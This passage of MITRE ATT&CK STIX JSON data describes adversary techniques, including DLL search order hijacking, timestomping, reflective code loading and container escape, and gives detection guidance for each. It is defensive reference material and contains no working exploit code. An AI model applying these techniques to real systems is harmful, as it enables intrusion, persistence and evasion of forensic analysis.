good arguments and loaded files to determine anomalous and potentially adversarial activity. Legitimate programs used in suspicious ways, like msiexec.exe downloading an MSI file from the Internet, may be indicative of an intrusion. Correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.\n\nMonitor for file activity (creations, downloads, modifications, etc.), especially for file types that are not typical within an environment and may be indicative of adversary activity.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":["Windows Registry: Windows Registry Key Modification","Network Traffic: Network Connection Creation","Process: OS API Execution","Module: Module Load","Command: Command Execution","File: File Creation","Process: Process Creation"],"x_mitre_system_requirements":[],"x_mitre_defense_bypassed":["Anti-virus","Application control","Digital Certificate Validation"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--45d84c8b-c1e2-474d-a14d-69b5de0a2bc0","type":"attack-pattern","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1153","url":"https://attack.mitre.org/techniques/T1153"},{"source_name":"Source Manual","url":"https://ss64.com/bash/source.html","description":"ss64. (n.d.). Source or Dot Operator. Retrieved May 21, 2019."}],"modified":"2020-03-30T13:40:14.512Z","name":"Source","description":"**This technique has been deprecated and should no longer be used.**\n\nThe <code>source</code> command loads functions into the current shell or executes files in the current context. This built-in command can be run in two different ways <code>source /path/to/filename [arguments]</code> or <code>.**This technique has been deprecated and should no longer be used.** /path/to/filename [arguments]</code>. Take note of the space after the \".\". Without a space, a new shell is created that runs the program instead of running the program within the current context. This is often used to make certain features or functions available to a shell or to update a specific shell's environment.(Citation: Source Manual)\n\nAdversaries can abuse this functionality to execute programs. The file executed with this technique does not need to be marked executable beforehand.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_detection":"Monitor for command shell execution of source and subsequent processes that are started as a result of being executed by a source command. Adversaries must also drop a file to disk in order to execute it with source, and these files can also detected by file monitoring.","x_mitre_deprecated":true,"x_mitre_version":"2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Stefan Kanthak","Travis Smith, Tripwire"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--46944654-fcc1-4f63-9dad-628102376586","type":"attack-pattern","created":"2017-05-31T21:30:40.604Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"url":"https://attack.mitre.org/techniques/T1038","external_id":"T1038","source_name":"mitre-attack"},{"url":"https://capec.mitre.org/data/definitions/471.html","source_name":"capec","external_id":"CAPEC-471"},{"source_name":"Microsoft DLL Search","description":"Microsoft. (n.d.). Dynamic-Link Library Search Order. Retrieved November 30, 2014.","url":"http://msdn.microsoft.com/en-US/library/ms682586"},{"source_name":"OWASP Binary Planting","description":"OWASP. (2013, January 30). Binary planting. Retrieved June 7, 2016.","url":"https://www.owasp.org/index.php/Binary_planting"},{"source_name":"Microsoft 2269637","description":"Microsoft. (2010, August 22). Microsoft Security Advisory 2269637 Released. Retrieved December 5, 2014.","url":"https://msrc-blog.microsoft.com/2010/08/21/microsoft-security-advisory-2269637-released/"},{"source_name":"Microsoft DLL Redirection","description":"Microsoft. (n.d.). Dynamic-Link Library Redirection. Retrieved December 5, 2014.","url":"http://msdn.microsoft.com/en-US/library/ms682600"},{"source_name":"Microsoft Manifests","description":"Microsoft. (n.d.). Manifests. Retrieved December 5, 2014.","url":"https://msdn.microsoft.com/en-US/library/aa375365"},{"source_name":"Mandiant Search Order","description":"Mandiant. (2010, August 31). DLL Search Order Hijacking Revisited. Retrieved December 5, 2014.","url":"https://www.mandiant.com/blog/dll-search-order-hijacking-revisited/"}],"modified":"2020-03-26T14:49:47.091Z","name":"DLL Search Order Hijacking","description":"Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft DLL Search) Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence. \n\nAdversaries may perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft 2269637) Adversaries may use this behavior to cause the program to load a malicious DLL. \n\nAdversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL to maintain persistence or privilege escalation. (Citation: Microsoft DLL Redirection) (Citation: Microsoft Manifests) (Citation: Mandiant Search Order)\n\nIf a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program.\n\nPrograms that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_defense_bypassed":["Process whitelisting"],"x_mitre_permissions_required":["User","Administrator","SYSTEM"],"x_mitre_system_requirements":["Ability to add a DLL, manifest file, or .local file, directory, or junction."],"x_mitre_effective_permissions":["User","Administrator","SYSTEM"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Pedro Harrison"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790","type":"attack-pattern","created":"2017-05-31T21:30:45.613Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1050","url":"https://attack.mitre.org/techniques/T1050"},{"external_id":"CAPEC-550","source_name":"capec","url":"https://capec.mitre.org/data/definitions/550.html"},{"url":"https://technet.microsoft.com/en-us/library/cc772408.aspx","description":"Microsoft. (n.d.). Services. Retrieved June 7, 2016.","source_name":"TechNet Services"},{"url":"https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697","description":"Miroshnikov, A. & Hall, J. (2017, April 18). 4697(S): A service was installed in the system. Retrieved August 7, 2018.","source_name":"Microsoft 4697 APR 2017"},{"url":"https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection","description":"Hardy, T. & Hall, J. (2018, February 15). Use Windows Event Forwarding to help with intrusion detection. Retrieved August 7, 2018.","source_name":"Microsoft Windows Event Forwarding FEB 2018"},{"url":"https://technet.microsoft.com/en-us/sysinternals/bb963902","description":"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.","source_name":"TechNet Autoruns"}],"modified":"2020-03-17T16:21:36.413Z","name":"New Service","description":"When operating systems boot up, they can start programs or applications called services that perform background system functions. (Citation: TechNet Services) A service's configuration information, including the file path to the service's executable, is stored in the Windows Registry. \n\nAdversaries may install a new service that can be configured to execute at startup by using utilities to interact with services or by directly modifying the Registry. The service name may be disguised by using a name from a related operating system or benign software with [Masquerading](https://attack.mitre.org/techniques/T1036). Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1035).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Monitor service creation through changes in the Registry and common utilities using command-line invocation. Creation of new services may generate an alterable event (ex: Event ID 4697 and/or 7045 (Citation: Microsoft 4697 APR 2017) (Citation: Microsoft Windows Event Forwarding FEB 2018)). New, benign services may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence. (Citation: TechNet Autoruns) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could create services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), so additional logging may need to be configured to gather the appropriate data.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["Administrator","SYSTEM"],"x_mitre_effective_permissions":["SYSTEM"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Romain Dumont, ESET"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611","type":"attack-pattern","created":"2020-01-31T12:42:44.103Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1070.006","url":"https://attack.mitre.org/techniques/T1070/006"},{"url":"http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html","description":"Carvey, H. (2013, July 23). HowTo: Determine/Detect the use of Anti-Forensics Techniques. Retrieved June 3, 2016.","source_name":"WindowsIR Anti-Forensic Techniques"}],"modified":"2020-03-29T21:39:46.724Z","name":"Timestomp","description":"Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.\n\nTimestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools.(Citation: WindowsIR Anti-Forensic Techniques)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Forensic techniques exist to detect aspects of files that have had their timestamps modified. (Citation: WindowsIR Anti-Forensic Techniques) It may be possible to detect timestomping using file modification monitoring that collects information on file handle opens and can compare timestamp values.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Metadata","File: File Modification"],"x_mitre_defense_bypassed":["Host forensic analysis"],"x_mitre_permissions_required":["root","SYSTEM","User"]},{"x_mitre_platforms":["macOS","Linux","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["João Paulo de A. Filho, @Hug1nN__","Shlomi Salem, SentinelOne","Lior Ribak, SentinelOne","Rex Guo, @Xiaofei_REX, Confluera","Joas Antonio dos Santos, @C0d3Cr4zy, Inmetrics"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--4933e63b-9b77-476e-ab29-761bc5b7d15a","created":"2021-10-05T01:15:06.293Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"T1620","url":"https://attack.mitre.org/techniques/T1620"},{"source_name":"00sec Droppers","url":"https://0x00sec.org/t/super-stealthy-droppers/3715","description":"0x00pico. (2017, September 25). Super-Stealthy Droppers. Retrieved October 4, 2021."},{"source_name":"S1 Custom Shellcode Tool","url":"https://www.sentinelone.com/blog/building-a-custom-tool-for-shellcode-analysis/","description":"Bunce, D. (2019, October 31). Building A Custom Tool For Shellcode Analysis. Retrieved October 4, 2021."},{"source_name":"Mandiant BYOL","url":"https://www.mandiant.com/resources/bring-your-own-land-novel-red-teaming-technique","description":"Kirk, N. (2018, June 18). Bring Your Own Land (BYOL) – A Novel Red Teaming Technique. Retrieved October 4, 2021."},{"source_name":"S1 Old Rat New Tricks","url":"https://www.sentinelone.com/blog/teaching-an-old-rat-new-tricks/","description":"Landry, J. (2016, April 21). Teaching an old RAT new tricks. Retrieved October 4, 2021."},{"source_name":"MDSec Detecting DOTNET","url":"https://www.mdsec.co.uk/2020/06/detecting-and-advancing-in-memory-net-tradecraft/","description":"MDSec Research. (n.d.). Detecting and Advancing In-Memory .NET Tradecraft. Retrieved October 4, 2021."},{"source_name":"Intezer ACBackdoor","url":"https://www.intezer.com/blog/research/acbackdoor-analysis-of-a-new-multiplatform-backdoor/","description":"Sanmillan, I. (2019, November 18). ACBackdoor: Analysis of a New Multiplatform Backdoor. Retrieved October 4, 2021."},{"source_name":"Stuart ELF Memory","url":"https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html","description":"Stuart. (2018, March 31). In-Memory-Only ELF Execution (Without tmpfs). Retrieved October 4, 2021."},{"source_name":"Introducing Donut","url":"https://thewover.github.io/Introducing-Donut/","description":"The Wover. (2019, May 9). Donut - Injecting .NET Assemblies as Shellcode. Retrieved October 4, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may reflectively load code into a process in order to conceal the execution of malicious payloads. Reflective loading involves allocating then executing payloads directly within the memory of the process, vice creating a thread or process backed by a file path on disk. Reflectively loaded payloads may be compiled binaries, anonymous files (only present in RAM), or just snubs of fileless executable code (ex: position-independent shellcode).(Citation: Introducing Donut)(Citation: S1 Custom Shellcode Tool)(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Mandiant BYOL)\n\nReflective code injection is very similar to [Process Injection](https://attack.mitre.org/techniques/T1055) except that the “injection” loads code into the processes’ own memory instead of that of a separate process. Reflective loading may evade process-based detections since the execution of the arbitrary code may be masked within a legitimate or otherwise benign process. Reflectively loading payloads directly into memory may also avoid creating files or other artifacts on disk, while also enabling malware to keep these payloads encrypted (or otherwise obfuscated) until execution.(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Intezer ACBackdoor)(Citation: S1 Old Rat New Tricks)","modified":"2022-04-21T16:21:09.679Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Reflective Code Loading","x_mitre_detection":"Monitor for code artifacts associated with reflectively loading code, such as the abuse of .NET functions such as <code>Assembly.Load()</code> and [Native API](https://attack.mitre.org/techniques/T1106) functions such as <code>CreateThread()</code>, <code>memfd_create()</code>, <code>execve()</code>, and/or <code>execveat()</code>.(Citation: 00sec Droppers)(Citation: S1 Old Rat New Tricks)\n\nMonitor for artifacts of abnormal process execution. For example, a common signature related to reflective code loading on Windows is mechanisms related to the .NET Common Language Runtime (CLR) -- such as mscor.dll, mscoree.dll, and clr.dll -- loading into abnormal processes (such as notepad.exe). Similarly, AMSI / ETW traces can be used to identify signs of arbitrary code execution from within the memory of potentially compromised processes.(Citation: MDSec Detecting DOTNET)(Citation: Introducing Donut)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":["Module: Module Load","Process: OS API Execution","Script: Script Execution"],"x_mitre_system_requirements":[],"x_mitre_defense_bypassed":["Application control","Anti-virus"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows","Linux","Containers"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Yuval Avrahami, Palo Alto Networks","Daniel Prizmant, Palo Alto Networks","Joas Antonio dos Santos, @C0d3Cr4zy, Inmetrics","Alfredo Oliveira, Trend Micro","David Fiser, @anu4is, Trend Micro","Idan Frimark, Cisco","Magno Logan, @magnologan, Trend Micro","Ariel Shuper, Cisco","Yossi Weizman, Azure Defender Research Team","Vishwas Manral, McAfee"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--4a5b7ade-8bb5-4853-84ed-23f262002665","type":"attack-pattern","created":"2021-03-30T17:38:34.277Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1611","url":"https://attack.mitre.org/techniques/T1611"},{"source_name":"Docker Overview","url":"https://docs.docker.com/get-started/overview/","description":"Docker. (n.d.). Docker Overview. Retrieved March 30, 2021."},{"source_name":"Docker Bind Mounts","url":"https://docs.docker.com/storage/bind-mounts/","description":"Docker. (n.d.). Use Bind Mounts. Retrieved March 30, 2021."},{"source_name":"Trend Micro Privileged Container","url":"https://www.trendmicro.com/en_us/research/19/l/why-running-a-privileged-container-in-docker-is-a-bad-idea.html","description":"Fiser, D., Oliveira, A.. (2019, December 20). Why a Privileged Container in Docker is a Bad Idea. Retrieved March 30, 2021."},{"source_name":"Intezer Doki July 20","url":"https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/","description":"Fishbein, N., Kajiloti, M.. (2020, July 28). Watch Your Containers: Doki Infecting Docker Servers in the Cloud. Retrieved March 30, 2021."},{"source_name":"Windows Server Containers Are Open","url":"https://unit42.paloaltonetworks.com/windows-server-containers-vulnerabilities/","description":"Daniel Prizmant. (2020, July 15). Windows Server Containers Are Open, and Here's How You Can Break Out. Retrieved October 1, 2021."}],"modified":"2022-04-01T13:06:06.128Z","name":"Escape to Host","description":"Adversaries may break out of a container to gain access to the underlying host. This can allow an adversary access to other containerized resources from the host level or to the host itself. In principle, containerized resources should provide a clear separation of application functionality and be isolated from the host environment.(Citation: Docker Overview)\n\nThere are multiple ways an adversary may escape to a host environment. Examples include creating a container configured to mount the host’s filesystem using the bind parameter, which allows the adversary to drop payloads and execute control utilities such as cron on the host, or utilizing a privileged container to run commands on the underlying host.(Citation: Docker Bind Mounts)(Citation: Trend Micro Privileged Container)(Citation: Intezer Doki July 20) Adversaries may also escape via [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), such as exploiting vulnerabilities in global symbolic links in order to access the root directory of a host machine.(Citation: Windows Server Containers Are Open)\n\nGaining access to the host may provide the adversary with the opportunity to achieve follow-on objectives, such as establishing persistence, moving laterally within the environment, or setting up a command and control channel on the host.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Monitor for the deployment of suspicious or unknown container images and pods in your environment, particularly containers running as root. Additionally, monitor for unexpected usage of syscalls such as <code>mount</code> (as well as resulting process activity) that may indicate an attempt to escape from a privileged container to host. In Kubernetes, monitor for cluster-level events associated with changing containers' volume configurations.","x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Volume: Volume Modification","Container: Container Creation","Process: Process Creation","Process: OS API Execution"],"x_mitre_permissions_required":["Administrator","User","root"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["David French, Elastic","Bobby, Filar, Elastic","Travis Smith, Tripwire"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179","type":"attack-pattern","created":"2020-01-24T19:00:32.917Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1547.009","url":"https://attack.mitre.org/techniques/T1547/009"},{"external_id":"CAPEC-132","source_name":"capec","url":"https://capec.mitre.org/data/definitions/132.html"},{"source_name":"BSidesSLC 2020 - LNK Elastic","url":"https://www.youtube.com/watch?v=nJ0UsyiUEqQ","description":"French, D., Filar, B.. (2020, March 21). A Chain Is No Stronger Than Its Weakest LNK. Retrieved November 30, 2020."}],"modified":"2021-04-13T21:30:24.555Z","name":"Shortcut Modification","description":"Adversaries may create or edit shortcuts to run a program during system boot or user login. Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process.\n\nAdversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Since a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections.\n\nMonitor for LNK files created with a Zone Identifier value greater than 1, which may indicate that the LNK file originated from outside of the network.(Citation: BSidesSLC 2020 - LNK Elastic)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Creation","File: File Modification","Process: Process Creation"],"x_mitre_permissions_required":["Administrator","User"]},{"x_mitre_platforms":["macOS","Windows","Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830","created":"2017-05-31T21:30:24.512Z","x_mitre_version":"1.2","external_references":[{"source_name":"mitre-attack","external_id":"T1010","url":"https://attack.mitre.org/techniques/T1010"},{"source_name":"Prevailion DarkWatchman 2021","url":"https://www.prevailion.com/darkwatchman-new-fileless-techniques/","description":"Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used or give context to information collected by a keylogger.(Citation: Prevailion DarkWatchman 2021)","modified":"2022-04-19T02:07:41.751Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Application Window Discovery","x_mitre_detection":"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":["Command: Command Execution","Process: Process Creation","Process: OS API Execution"],"x_mitre_system_requirements":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5","type":"attack-pattern","created":"2017-05-31T21:30:35.334Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1032","url":"https://attack.mitre.org/techniques/T1032"},{"url":"http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840","description":"Butler, M. (2013, November). Finding Hidden Threats by Decrypting SSL. Retrieved April 5, 2016.","source_name":"SANS Decrypting SSL"},{"url":"https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html","description":"Dormann, W. (2015, March 13). The Risks of SSL Inspection. Retrieved April 5, 2016.","source_name":"SEI SSL Inspection Risks"},{"url":"https://www.fidelissecurity.com/sites/default/files/FTA_1018_looking_at_the_sky_for_a_dark_comet.pdf","description":"Fidelis Cybersecurity. (2015, August 4). Looking at the Sky for a DarkComet. Retrieved April 5, 2016.","source_name":"Fidelis DarkComet"},{"url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","source_name":"University of Birmingham C2"}],"modified":"2020-03-21T00:43:01.387Z","name":"Standard Cryptographic Protocol","description":"Adversaries may explicitly employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if necessary secret keys are encoded and/or generated within malware samples/configuration files.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels. (Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation. (Citation: SEI SSL Inspection Risks)\n\nIf malware uses encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[]},{"x_mitre_platforms":["Windows","Office 365","Google Workspace"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--4bc31b94-045b-4752-8920-aebaebdb6470","type":"attack-pattern","created":"2020-02-21T21:08:33.237Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1087.003","url":"https://attack.mitre.org/techniques/T1087/003"},{"source_name":"Microsoft Exchange Address Lists","url":"https://docs.microsoft.com/en-us/exchange/email-addresses-and-address-books/address-lists/address-lists?view=exchserver-2019","description":"Microsoft. (2020, February 7). Address lists in Exchange Server. Retrieved March 26, 2020."},{"source_name":"Microsoft getglobaladdresslist","url":"https://docs.microsoft.com/en-us/powershell/module/exchange/email-addresses-and-address-books/get-globaladdresslist","description":"Microsoft. (n.d.). Get-GlobalAddressList. Retrieved October 6, 2019."},{"description":"Bullock, B.. (2016, October 3). Attacking Exchange with MailSniper. Retrieved October 6, 2019.","url":"https://www.blackhillsinfosec.com/attacking-exchange-with-mailsniper/","source_name":"Black Hills Attacking Exchange MailSniper, 2016"},{"source_name":"Google Workspace Global Access List","url":"https://support.google.com/a/answer/166870?hl=en","description":"Google. (n.d.). Retrieved March 16, 2021."}],"modified":"2021-03-31T13:10:46.302Z","name":"Email Account","description":"Adversaries may attempt to get a listing of email addresses and accounts. Adversaries may try to dump Exchange address lists such as global address lists (GALs).(Citation: Microsoft Exchange Address Lists)\n\nIn on-premises Exchange and Exchange Online, the<code>Get-GlobalAddressList</code> PowerShell cmdlet can be used to obtain email addresses and accounts from a domain using an authenticated session.(Citation: Microsoft getglobaladdresslist)(Citation: Black Hills Attacking Exchange MailSniper, 2016)\n\nIn Google Workspace, the GAL is shared with Microsoft Outlook users through the Google Workspace Sync for Microsoft Outlook (GWSMO) service. Additionally, the Google Workspace Directory allows for users to get a listing of other users within the organization.(Citation: Google Workspace Global Access List)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_detection":"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Command: Command Execution","User Account: User Account Metadata","Process: Process 